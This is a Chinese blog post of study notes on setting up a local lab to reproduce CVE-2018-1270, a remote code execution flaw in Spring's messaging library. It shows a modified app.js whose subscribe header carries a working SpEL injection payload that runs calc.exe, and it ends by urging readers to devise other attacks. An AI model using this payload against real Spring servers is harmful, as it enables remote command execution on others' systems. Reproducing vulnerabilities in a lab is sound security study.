A-A+

CVE-2018-1270 复现 及 GET到的知识点

2018年04月17日 20:50 学习笔记 暂无评论 阅读 189 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

https://xz.aliyun.com/t/2252     spring-messaging Remote Code Execution 分析-【CVE-2018-1270】

可以说已经写的不能再详细了,但是很多新手不知道如何搭建环境复现,复现过程中还会遇到各样的问题。

如何搭建复现CVE-2018-1270、CVE-2018-1273、CVE-2018-1274的环境:

必须需要JAVA环境,切必须要装JDK。JRE随便喽。

安装好环境后,你可以去https://github.com/spring-guides/gs-messaging-stomp-websocket 下载环境包。


这里出现了问题一:没有git环境下,下载的安装包是最新版,没漏洞,如何改成旧版?

当下载完gs-messaging-stomp-websocket 这个之后,需要更改complete文件夹下的pom.xml这个文件,找到

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.0.1.RELEASE</version>
</parent>

把上面的2.0.1更改成2.0.0 然后保存文件。


然后,这里还需要下载一个MAVEN。通过这个工具我们来打包我们更改好的gs-messaging-stomp-websocket程序。

这里还要注意一下,同时还需要做如下更改:

用IDEA打开gs-messaging-stomp-websocket目录下的complete项目,修改app.js中的第15行:

function connect() {
    var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        },header);
    });
}

增加了一个header头部,其中指定了selector,其值即payload。

 

通过https://github.com/spring-guides/gs-messaging-stomp-websocket 这里的说明,我们可以清楚的看到,架包的程序主入口是:src/main/java/hello/Application.java

我们打包好的文件在target目录下。

然后我们只需要运行。

java -jar gs-messaging-stomp-websocket-0.1.0.jar src/main/java/hello/Application.java

然后就可以本地访问 http://localhost:8080   当然了。这只是方式一。

我们还可以直接在gs-messaging-stomp-websocket-master目录下运行CMD。

然后运行命令: mvnw spring-boot:run

最终就测试成功,弹出计算器了,但是你要注意,弹出计算器只是一个deom,具体的各种花式攻击,需要你开动脑筋了。

标签:

给我留言